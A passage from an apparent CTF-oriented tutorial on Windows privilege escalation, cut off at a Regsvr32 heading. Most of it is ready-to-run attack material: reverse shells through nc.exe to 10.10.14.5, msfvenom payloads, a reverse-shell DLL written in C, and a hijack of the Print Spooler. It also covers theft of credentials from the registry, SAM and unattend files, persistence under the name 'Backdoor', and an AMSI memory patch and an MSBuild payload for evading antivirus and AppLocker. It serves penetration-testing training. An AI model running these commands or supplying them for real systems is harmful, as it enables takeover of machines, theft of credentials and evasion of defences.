kavklaw@llm ~ /guides/windows-privesc

kavklaw@llm $ whoami /priv

Windows Privilege Escalation

🔴 Advanced

From Low-Privilege User to NT AUTHORITY\SYSTEM, Every Attack Vector Explained

Intermediate 📖 35 min read
← Back to Guides

This guide assumes you already have a shell on the target Windows machine — whether that's a reverse shell, a web shell, WinRM access, or RDP. If you need to get that initial foothold first, see the Reverse Shells & File Transfers guide.

Tools to have ready for transfer to the target:

  • WinPEAS — automated Windows privesc scanner. Download winPEASany.exe or winpeas.bat from PEASS-ng releases
  • PowerUp.ps1 — targets service misconfigurations. Part of PowerSploit
  • Seatbelt — thorough security enumeration from GhostPack (needs compiling or grab a precompiled release)
  • GodPotato / PrintSpoofer / JuicyPotato — Potato attack binaries for SeImpersonatePrivilege exploitation. Keep all three: GodPotato, PrintSpoofer, JuicyPotato
  • Watson / Sherlock — missing patch enumeration. Watson for newer Windows, Sherlock for older
  • nc.exe (netcat) — for reverse shells from the target. Grab a static Windows build
  • accesschk64.exe — Sysinternals tool for checking service permissions

Keep a windows-privesc/ folder in your toolkit with these binaries ready. For file transfer to the target, see the File Transfer Cheat Sheet later in this guide.

🎯 What is Windows Privilege Escalation?

You've gained initial access to a Windows box, maybe through a web exploit, phishing payload, or a service vulnerability. But you're running as a standard user, a service account, or IIS APPPOOL\DefaultAppPool. Your goal is to escalate to NT AUTHORITY\SYSTEM, the highest-privilege account on a Windows system, equivalent to root on Linux.

Windows privilege escalation is different from Linux in several important ways:

  • Token-based security model: Windows uses access tokens (think of them as permission badges) with specific privileges like SeImpersonatePrivilege that can be abused directly
  • Services architecture: Windows services run under various accounts (SYSTEM, LocalService, NetworkService, or domain accounts), creating many exploitation opportunities
  • Registry-based configuration: The Windows registry (a central database of system settings) stores security-critical settings that can be misconfigured
  • UAC (User Account Control): Even admin users run with reduced privileges until they explicitly confirm an elevated action. Without a GUI, you need tricks to bypass this

⚡ Quick Start

Run these immediately upon getting a Windows shell. The whoami /priv command is the single most important one: it shows your token privileges, which often tell you if you can escalate to SYSTEM in one step.

# Who are you?
whoami
whoami /priv              # Check token privileges ← CRITICAL
whoami /groups            # Group memberships

# System info (for kernel exploits)
systeminfo

# Quick password check
cmdkey /list              # Stored credentials

# Run WinPEAS for automated enumeration
# Transfer winpeas.exe or winpeas.bat to target, then:
.\winPEASany.exe

📋 The Methodology — Systematic Checklist

Check these vectors in order from most to least common:

  1. Token privileges — SeImpersonate → Potato attacks
  2. Service misconfigurations — Unquoted paths, weak permissions
  3. Stored credentials — cmdkey, DPAPI, config files
  4. Scheduled tasks — Writable scripts run as SYSTEM
  5. Registry exploits — AutoRuns, AlwaysInstallElevated
  6. DLL hijacking — Missing DLLs in writable paths
  7. UAC bypass — When you're admin but need elevated context
  8. Kernel exploits — Last resort

1️⃣ Initial Enumeration

Before looking for specific vectors, gather detailed system information:

# ─── User and Privilege Info ─────────────
whoami                        # Current user
whoami /priv                  # Token privileges
whoami /groups                # Group memberships
net user                      # All local users
net user Administrator        # Details about a specific user
net localgroup                # Local groups
net localgroup Administrators # Who's an admin?

# ─── System Information ─────────────────
systeminfo                    # OS version, architecture, hotfixes
hostname                      # Machine name
wmic os get Caption,Version   # Clean OS version (note: wmic.exe is deprecated; prefer PowerShell: Get-CimInstance Win32_OperatingSystem | Select Caption,Version)

# ─── Network Information ────────────────
ipconfig /all                 # Network interfaces
route print                   # Routing table
arp -a                        # ARP cache (nearby machines)
netstat -ano                  # Active connections and listening ports
# Look for: internal services, connections to other machines

# ─── Installed Software ─────────────────
wmic product get name,version # Installed programs (slow)
dir "C:\Program Files"        # Quick look
dir "C:\Program Files (x86)"

# ─── Running Processes ──────────────────
tasklist /svc                 # Processes with services
wmic process list brief       # Process list

# ─── Hotfixes (patches) ─────────────────
wmic qfe list brief           # Installed patches
# Missing patches = potential kernel exploits
💡 Pro tip: The single most important command in Windows privesc is whoami /priv. If you see SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege enabled, you can almost certainly escalate to SYSTEM using a Potato attack. This alone solves a huge percentage of Windows CTF boxes.

2️⃣ Token Impersonation — Potato Attacks

Windows access tokens contain security information about a user's session. Certain privileges allow you to impersonate other users' tokens, including SYSTEM's token. This is the most common and reliable Windows privesc vector.

The Key Privileges

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeImpersonatePrivilege        Impersonate a client           Enabled  ← JACKPOT
SeAssignPrimaryTokenPrivilege Replace a process level token  Enabled  ← JACKPOT
SeDebugPrivilege              Debug programs                 Enabled  ← Also exploitable
SeBackupPrivilege             Back up files and directories  Enabled  ← Can read anything
SeRestorePrivilege            Restore files and directories  Enabled  ← Can write anything
SeLoadDriverPrivilege         Load and unload device drivers Enabled  ← Kernel exploit potential
SeTakeOwnershipPrivilege      Take ownership of files        Enabled  ← Can own anything

# Who typically has SeImpersonate?
# - IIS service accounts (APPPOOL\DefaultAppPool)
# - SQL Server service accounts
# - Windows services running as "Network Service" or "Local Service"

Understanding Potato Attacks

All Potato attacks share the same core concept: trick a SYSTEM-level process into connecting to something you control, capture its security token (permission badge), and then impersonate it. Think of it like getting SYSTEM to hand you its ID badge. Different Potato variants use different tricks to get SYSTEM to connect, but the end result is the same: you get a SYSTEM-level shell.

JuicyPotato (Windows Server 2008–2016, Windows 7–10 older builds)

# JuicyPotato abuses COM (DCOM) activation to get a SYSTEM token
# Requires: SeImpersonatePrivilege

# Download JuicyPotato.exe and transfer to target
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" -t *

# Flags:
# -l  Local COM server port
# -p  Program to run as SYSTEM
# -a  Arguments
# -t  * (try both createprocess call types)

# If it fails, try a different CLSID:
.\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Find working CLSIDs: https://ohpe.it/juicy-potato/CLSID/

PrintSpoofer (Windows 10 / Server 2016–2019)

# PrintSpoofer abuses the Print Spooler service
# Works on newer Windows where JuicyPotato doesn't
# Requires: SeImpersonatePrivilege

.\PrintSpoofer64.exe -i -c cmd
# -i Interactive mode (drops you into a SYSTEM shell)
# -c Command to execute

# Or get a reverse shell:
.\PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

GodPotato (Windows 2012–2022, universal)

# GodPotato is the most modern and universal Potato exploit
# Works across nearly all Windows versions from Server 2012 to Windows 11
# Requires: SeImpersonatePrivilege

.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

# Simplest to use — just give it a command

Sweet Potato, RoguePotato, and others

.\SweetPotato.exe -p C:\temp\nc.exe -a "10.10.14.5 4444 -e cmd.exe"

RoguePotato requires a remote machine to relay OXID resolution. More complex setup but works in restricted environments.

Decision tree:

  1. Try GodPotato first (most universal)
  2. Try PrintSpoofer if GodPotato fails
  3. Try JuicyPotato for older Windows
  4. Try RoguePotato for restricted environments
💡 Pro tip: Keep all Potato variants in your toolkit. Upload GodPotato first. It's the most reliable across Windows versions. If it fails, try PrintSpoofer, then JuicyPotato. One of them almost always works when you have SeImpersonatePrivilege.

3️⃣ Service Misconfigurations

Some Windows services run as SYSTEM, but many use LocalService, NetworkService, or other accounts. If you can modify a service's binary, configuration, or startup behavior, you can execute code as SYSTEM.

Unquoted Service Paths

When a service executable path contains spaces and isn't wrapped in quotes, Windows doesn't know where the path ends and the arguments begin. So it guesses, trying shorter paths first. This is a quirk of how the Windows API (CreateProcess) resolves ambiguous paths:

Find unquoted service paths:

wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

Get-WmiObject win32_service | Select-Object Name, PathName | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'}

For example, with the unquoted path C:\Program Files\My App\Service Folder\service.exe, Windows tries these locations in order:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My App\Service.exe
  4. C:\Program Files\My App\Service Folder\service.exe

If you can write to C:\Program Files\My App\, place a malicious binary at the intermediate path:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o Service.exe

sc stop VulnService
sc start VulnService

Weak Service Permissions

Windows services have their own access control — separate from file permissions. If a service grants you SERVICE_CHANGE_CONFIG, you can change which program the service runs. If it grants SERVICE_ALL_ACCESS, you have full control. The accesschk tool (from Microsoft's Sysinternals suite) checks these permissions:

# Check service permissions with accesschk (Sysinternals)
# -w = writable, -u = suppress errors, -v = verbose, -c = services
.\accesschk64.exe -wuvc "Everyone" * /accepteula
.\accesschk64.exe -wuvc "Authenticated Users" * /accepteula
.\accesschk64.exe -wuvc "BUILTIN\Users" * /accepteula

# Look for: SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG

# If you can change config:
sc qc VulnService                    # Check current config
sc config VulnService binpath= "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc stop VulnService
sc start VulnService

# Or replace the binary if you have write access to its location:
move "C:\path\to\original.exe" "C:\path\to\original.exe.bak"
copy C:\temp\malicious.exe "C:\path\to\original.exe"
sc stop VulnService
sc start VulnService

# Check service binary permissions:
icacls "C:\Program Files\VulnApp\service.exe"
# Look for: (F) Full access, (M) Modify, (W) Write

Service Account Permissions

# Query all services
sc query state= all

# Query a specific service
sc qc ServiceName
# Look for: SERVICE_START_NAME: LocalSystem  ← Runs as SYSTEM

# Enumerate with PowerShell
Get-Service | Where-Object {$_.Status -eq "Running"} | Format-Table Name, DisplayName
🧠 Knowledge Check — Token Privileges & Services
You run whoami /priv and see SeImpersonatePrivilege: Enabled. What is the most reliable next step?
SeImpersonatePrivilege is the golden ticket for Windows privesc. It allows you to impersonate tokens from other processes, including SYSTEM. GodPotato is the most universal tool (works across Windows versions), followed by PrintSpoofer (Windows 10/Server 2016-2019) and JuicyPotato (older systems). This single privilege solves a huge percentage of Windows CTF boxes — always check whoami /priv first!
Complete this command to exploit an unquoted service path by placing a malicious binary at the right location. The service path is C:\Program Files\My App\Service Folder\service.exe:
Windows resolves unquoted paths by trying each space-separated segment: first C:\Program.exe, then C:\Program Files\My.exe, then C:\Program Files\My App\Service.exe. You need write access to one of these intermediate directories. C:\Program Files\My.exe is the most practical target because you're more likely to have write permissions in the application's directory than in C:\.
What is the single most important command to run first when performing Windows privilege escalation enumeration?
whoami /priv shows your token privileges. If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege is enabled, you can go straight to SYSTEM via Potato attacks — no further enumeration needed. While systeminfo is important for kernel exploits, token privileges are the most common and reliable Windows privesc vector, especially for service accounts (IIS, SQL Server).

4️⃣ DLL Hijacking

A DLL (Dynamic Link Library) is like a shared code module that programs load at runtime. When a program needs a DLL, Windows searches for it in a specific order of directories. If a DLL is missing from the expected location and you can write to a directory in the search path, you can plant a malicious DLL that Windows loads instead. This is the Windows equivalent of Linux PATH hijacking.

DLL Search Order:

  1. The directory from which the application loaded
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. Current directory
  6. Directories in PATH

Find missing DLLs using Process Monitor (Procmon) — filter: Result = NAME NOT FOUND, Path ends with .dll. Look for DLLs not found in writable directories.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil.dll

Or compile a custom DLL (hijack.c):

#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("C:\\temp\\nc.exe 10.10.14.5 4444 -e cmd.exe");
    }
    return TRUE;
}

Cross-compile on Linux, place the DLL, and restart the service:

x86_64-w64-mingw32-gcc hijack.c -shared -o evil.dll
copy evil.dll "C:\Program Files\VulnApp\missing.dll"

5️⃣ AlwaysInstallElevated

MSI packages are Windows installer files (the .msi files you might have used to install software). If both the machine-level and user-level AlwaysInstallElevated registry keys are set to 1, any user can install MSI packages that run with SYSTEM privileges. You can create a malicious MSI that gives you a shell instead of installing software.

# Check registry keys
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Both must return: AlwaysInstallElevated    REG_DWORD    0x1

# If both are set, create a malicious MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o evil.msi

# Transfer to target and install:
msiexec /quiet /qn /i evil.msi
# → SYSTEM reverse shell

# This is rarer than Potato attacks but easy to exploit when found

6️⃣ Stored Credentials

Windows stores credentials in various locations that might be accessible:

# ─── Saved credentials (cmdkey) ──────────
cmdkey /list

# If you see saved credentials:
# Target: Domain:interactive=WORKSTATION\admin
# Type: Domain Password
# User: admin

# Use them:
runas /savecred /user:admin cmd.exe
# Or for reverse shell:
runas /savecred /user:admin "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

# ─── DPAPI credentials ──────────────────
# Chrome saved passwords, RDP credentials, Wi-Fi passwords
# Located in: %APPDATA%\Microsoft\Credentials\
dir %APPDATA%\Microsoft\Credentials\
# Decrypt with Mimikatz (requires elevated access to decrypt)

# ─── AutoLogon credentials ───────────────
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword"

# ─── WiFi passwords ─────────────────────
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear

# ─── Registry passwords ─────────────────
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# ─── Unattend/Sysprep files ─────────────
# These files may contain plaintext or base64-encoded passwords
type C:\Unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\sysprep.xml
type C:\Windows\system32\sysprep\Unattend.xml

# ─── IIS config ──────────────────────────
type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

# ─── SAM and SYSTEM files (if accessible) ─
# Normally locked, but backup copies may exist:
type C:\Windows\repair\SAM
type C:\Windows\System32\config\RegBack\SAM
💡 Pro tip: The runas /savecred technique is incredibly powerful because it requires zero exploitation — someone already saved their admin credentials. Always check cmdkey /list early in your enumeration. This is one of the easiest wins in Windows privesc.

7️⃣ Scheduled Tasks

Like cron jobs on Linux, scheduled tasks might run as SYSTEM with writable scripts:

# List all scheduled tasks
schtasks /query /fo LIST /v

# Filter for tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|TaskName"

# Look for:
# Run As User: SYSTEM
# Task To Run: C:\scripts\backup.bat  ← Can you write to this?

# Check permissions on the script
icacls C:\scripts\backup.bat
# Look for: BUILTIN\Users:(F) or (M) or (W)

# If writable, modify the script:
echo C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe >> C:\scripts\backup.bat

# Or replace it entirely:
echo C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe > C:\scripts\backup.bat
# Wait for the task to run → SYSTEM shell

# Create a new scheduled task (if you have permission):
schtasks /create /sc minute /mo 1 /tn "Backdoor" /tr "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /ru SYSTEM

8️⃣ Registry AutoRuns

Programs that run automatically at startup can be hijacked if you can modify the referenced binary or script:

# Check AutoRun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check startup folders
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

# If an AutoRun points to a writable binary:
icacls "C:\Program Files\VulnApp\startup.exe"
# Replace it with a malicious binary

# Or if you can modify HKLM Run keys:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
# Requires admin, but useful for persistence

9️⃣ UAC Bypass

UAC (User Account Control) is a Windows security feature that gives admin users a "split token" — they run with normal permissions by default and only get full admin rights after clicking "Yes" on a confirmation dialog. In a command-line reverse shell, there's no GUI to click "Yes," so you're stuck with filtered (non-admin) permissions. UAC bypass techniques trick Windows into auto-elevating your process without the dialog:

# Check if you're an admin but UAC is blocking you
whoami /groups
# Look for: BUILTIN\Administrators  (with "Group used for deny only")
# This means you're admin but running in a filtered (non-elevated) context

# Check UAC settings
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

# ─── fodhelper.exe bypass (common) ──────
# fodhelper.exe is a Microsoft-signed program that auto-elevates (runs as admin
# without a UAC prompt). It checks a registry key for what to run — and we can
# write to that registry key from a non-elevated context:
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /f
C:\Windows\System32\fodhelper.exe
# → Elevated reverse shell

# Clean up:
reg delete HKCU\Software\Classes\ms-settings\ /f

# ─── eventvwr.exe bypass ────────────────
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe" /f
C:\Windows\System32\eventvwr.exe

# ─── Using UACME (thorough) ─────────────
# https://github.com/hfiref0x/UACME
# Collection of 60+ UAC bypass techniques
.\Akagi64.exe 23 C:\temp\nc.exe

🤖 Automated Enumeration Tools

WinPEAS

WinPEAS is the Windows equivalent of LinPEAS. Download from PEASS-ng releases.

.\winPEASany.exe
.\winpeas.bat

WinPEAS checks: token privileges, service permissions, unquoted paths, AlwaysInstallElevated, stored credentials, AutoRuns, scheduled tasks, network info, installed software, writable files, DLL hijacking, and missing patches.

PowerUp.ps1 (PowerSploit)

# PowerUp specifically targets service misconfigurations
# Import and run:
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Or one-liner (download and execute in memory):
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8000/PowerUp.ps1')
Invoke-AllChecks

# Specific checks:
Get-UnquotedService           # Unquoted service paths
Get-ModifiableServiceFile      # Writable service binaries
Get-ModifiableService          # Services you can reconfigure
Get-RegistryAlwaysInstallElevated  # AlwaysInstallElevated check

# Auto-exploit (PowerUp can exploit what it finds):
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'password123'
# Adds a local admin user via service exploitation

Sherlock and Watson

# Sherlock — finds missing patches (older, for Win7/2008/2012)
Import-Module .\Sherlock.ps1
Find-AllVulns

# Watson — successor to Sherlock (Win10/2016/2019)
.\Watson.exe
# Lists CVEs the system is potentially vulnerable to
# Then search for exploits:
# CVE-2019-1388 — Certificate Dialog elevation
# CVE-2020-0796 — SMBGhost
# CVE-2021-1732 — Win32k elevation

Seatbelt

# Seatbelt — thorough security enumeration (GhostPack)
.\Seatbelt.exe -group=all

# Specific checks:
.\Seatbelt.exe TokenPrivileges  # Token privilege info
.\Seatbelt.exe CredentialManager # Saved credentials
.\Seatbelt.exe AutoRuns         # AutoRun entries
.\Seatbelt.exe InterestingFiles # Config files with passwords

🎯 Methodology — Step-by-Step Approach

  1. Basic enumeration: whoami /priv, whoami /groups, systeminfo
  2. Check SeImpersonate: If present → GodPotato/PrintSpoofer → SYSTEM. Done.
  3. Check stored credentials: cmdkey /listrunas /savecred
  4. Run WinPEAS: Comprehensive automated enumeration
  5. Check services: Unquoted paths, weak permissions, writable binaries
  6. Check registry: AlwaysInstallElevated, AutoRuns, AutoLogon passwords
  7. Check scheduled tasks: Tasks running as SYSTEM with writable scripts
  8. Hunt passwords: Config files, registry, unattend.xml, web.config
  9. UAC bypass: If in Administrators group but filtered
  10. Kernel exploits: Check missing patches, use Watson/Sherlock

❌ Common Mistakes

  • Ignoring whoami /priv: This is literally the first thing to check. SeImpersonate = instant SYSTEM via Potato attacks. So many people skip this.
  • Not transferring tools properly: Windows is picky about binary transfers. Use certutil, PowerShell, or SMB — not copy-pasting base64. Corrupted binaries cause cryptic errors.
  • Forgetting the architecture: x86 tools on x64 systems (or vice versa) fail silently. Always check systeminfo for the architecture and use matching tools.
  • Not trying password reuse: Found a password in a config file? Try it for every user, RDP, and SMB.
  • Using PowerShell when it's blocked: AppLocker, Constrained Language Mode, and AMSI can block PowerShell. Have cmd.exe alternatives ready for everything.
  • Not checking service restart permissions: Even if you can modify a service binary, can you restart the service? Check with sc sdshow ServiceName or look for auto-restart configurations.
  • Running noisy tools first: On real engagements, WinPEAS and similar tools may trigger AV/EDR. Start with manual commands, then escalate to automated tools.

🔧 File Transfer Cheat Sheet (Windows)

# PowerShell download
Invoke-WebRequest -Uri http://10.10.14.5:8000/tool.exe -OutFile C:\temp\tool.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8000/tool.exe','C:\temp\tool.exe')

# certutil (works when PowerShell is blocked)
certutil -urlcache -split -f http://10.10.14.5:8000/tool.exe C:\temp\tool.exe

# SMB share (no disk touching — stealthier)
# On attacker: impacket-smbserver share $(pwd) -smb2support
# On target:
copy \\10.10.14.5\share\tool.exe C:\temp\
# Or run directly from share:
\\10.10.14.5\share\tool.exe

# Bitsadmin
bitsadmin /transfer job http://10.10.14.5:8000/tool.exe C:\temp\tool.exe

🖨️ PrintNightmare & Spooler Exploits

The Windows Print Spooler service (the part of Windows that manages printing) has been a goldmine for privilege escalation. Multiple serious vulnerabilities have been discovered that allow local privilege escalation and even remote code execution. These are among the most reliable Windows privesc techniques in modern environments.

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

PrintNightmare allows any authenticated user to achieve SYSTEM-level code execution by exploiting the Print Spooler's ability to install printer drivers. There are two variants: a local privilege escalation and a remote code execution.

# Check if the Print Spooler service is running:
sc query spooler
# STATE: 4 RUNNING  ← Vulnerable if unpatched

# Check if the system is patched:
# The fix was in the July 2021 cumulative update
wmic qfe list brief | findstr KB50
# If no July 2021+ patches → likely vulnerable

# ─── Local Privilege Escalation (LPE) ───
# Using the C# PoC (SharpPrintNightmare):
.\SharpPrintNightmare.exe C:\temp\malicious.dll
# This loads your DLL as SYSTEM via the print spooler

# Create the malicious DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o malicious.dll

# ─── Remote Code Execution variant ──────
# From Linux with impacket:
python3 CVE-2021-1675.py domain.htb/user:password@TARGET_IP '\\ATTACKER_IP\share\malicious.dll'

# Set up the SMB share first:
impacket-smbserver share /path/to/dll -smb2support

# The exploit makes the target load your DLL from the SMB share → SYSTEM execution

PrintSpoofer

PrintSpoofer exploits the Print Spooler's named pipe to escalate from SeImpersonatePrivilege to SYSTEM. It's the go-to Potato alternative for Windows 10 and Server 2016-2019.

# Requirements: SeImpersonatePrivilege (common for service accounts)

# Interactive SYSTEM shell:
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -i -c powershell

# Reverse shell:
.\PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

# Execute a specific command:
.\PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\output.txt"

# Why it works:
# PrintSpoofer creates a named pipe that the Print Spooler connects to
# as SYSTEM. When SYSTEM connects, PrintSpoofer impersonates the token
# and runs your command with SYSTEM privileges.

SpoolFool (CVE-2022-21999)

SpoolFool exploits a flaw in how the Print Spooler handles printer driver directories. It can write arbitrary files to privileged locations, leading to SYSTEM code execution.

# SpoolFool exploits the Spooler's directory creation behavior
# to write a DLL to C:\Windows\System32\spool\drivers\

# Usage:
.\SpoolFool.exe -dll C:\temp\malicious.dll
# The exploit:
# 1. Creates a junction point in the spool directory
# 2. Tricks the Spooler into copying your DLL to a privileged location
# 3. The Spooler loads the DLL → SYSTEM execution

# Affected: Windows 10 and Server versions before Feb 2022 patches
# Check: wmic qfe list brief | findstr KB50  (look for Feb 2022+ patches)
💡 Pro tip: Always check if the Print Spooler is running (sc query spooler). If it is, you have multiple exploitation options. In CTFs, the Spooler is often intentionally left running and unpatched. PrintSpoofer is the simplest — requires only SeImpersonatePrivilege and a binary upload.

🛡️ AMSI Bypass Techniques

AMSI (Antimalware Scan Interface) is Microsoft's security feature that lets antivirus scan PowerShell commands before they run. Think of it as a filter that checks everything you type in PowerShell. If it detects something it considers malicious (like known hacking tool names), it blocks execution. In CTFs and real engagements, you'll often need to bypass AMSI to run your tools.

Understanding AMSI

AMSI intercepts PowerShell commands before execution:

PowerShell command → AMSI → Antivirus Engine → Allow / Block

Try this in PowerShell — it gets blocked immediately:

Invoke-Mimikatz
# Result: "This script contains malicious content and has been blocked"

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# Also blocked!

PowerShell Downgrade Attack

The simplest bypass. AMSI was introduced in PowerShell v5. If PowerShell v2 is available, it has no AMSI:

# Check if PowerShell v2 is available:
powershell -version 2 -command "echo 'AMSI bypassed!'"

# If it works, run your tools in PowerShell v2:
powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')"

# Requirements: .NET Framework 2.0 must be installed
# Check: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
# On newer systems, PowerShell v2 is often removed

Memory Patching (amsi.dll)

Patch the AmsiScanBuffer function in memory to always return "clean." This is the most reliable bypass for modern systems:

# Classic one-liner (obfuscated to avoid detection):
# Note: AV vendors actively signature these — you may need to modify them

# Method 1: Reflection-based patch
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('am'+'siInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Method 2: Direct memory patching with P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$p)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)

# After patching, AMSI is disabled for the current session:
# Invoke-Mimikatz, PowerView, etc. will work

# Method 3: Using Matt Graeber's reflection technique
# (Various one-liners available, but they get signatured quickly)
# The key is obfuscation — string concatenation, encoding, variable substitution

Obfuscation Strategies

AMSI detects based on string patterns. Obfuscate to evade:

# String concatenation:
$a = 'Ams' + 'iUt' + 'ils'

# Variable encoding:
$enc = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QW1zaVV0aWxz'))

# Invoke-Expression with encoding:
IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64_ENCODED_BYPASS')))

# Using environment variables:
$env:a = 'AmsiScanBuffer'

Use tools like Invoke-Obfuscation to automatically obfuscate PowerShell scripts for AMSI evasion.

🚪 AppLocker/CLM Bypass

AppLocker is a Windows feature that creates a whitelist of which programs are allowed to run. If your tool isn't on the list, it won't execute. Constrained Language Mode (CLM) limits PowerShell to basic functionality, blocking advanced features that attackers typically use. Both are common in hardened environments and CTFs. The good news is there are many trusted Microsoft-signed programs you can use to bypass these restrictions.

Detecting AppLocker and CLM

Check if Constrained Language Mode is active (ConstrainedLanguage = restricted, FullLanguage = unrestricted):

$ExecutionContext.SessionState.LanguageMode

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2"

MSBuild Bypass

MSBuild.exe is a Microsoft-signed binary that can execute arbitrary C# code from XML project files. It's allowed by default in most AppLocker policies because it's a legitimate development tool.

# Create a malicious .csproj file:
# shell.csproj:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Shell">
    <ShellExec />
  </Target>
  <UsingTask TaskName="ShellExec" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        using System;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        using System.Diagnostics;
        public class ShellExec : Task {
          public override bool Execute() {
            Process.Start("cmd.exe", "/c C:\\temp\\nc.exe 10.10.14.5 4444 -e cmd.exe");
            return true;
          }
        }
      </Code>
    </Task>
  </UsingTask>
</Project>

# Execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\shell.csproj
# → Reverse shell, bypassing AppLocker!

InstallUtil Bypass

# InstallUtil.exe can execute .NET assemblies via the Uninstall method
# (which doesn't require admin privileges)

# Create a malicious .cs file, compile it, and run:
# Compile on your machine:
# csc /target:library /out:shell.dll shell.cs

# Execute on target:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\shell.dll

Regsvr32 Bypass (Squiblydoo)

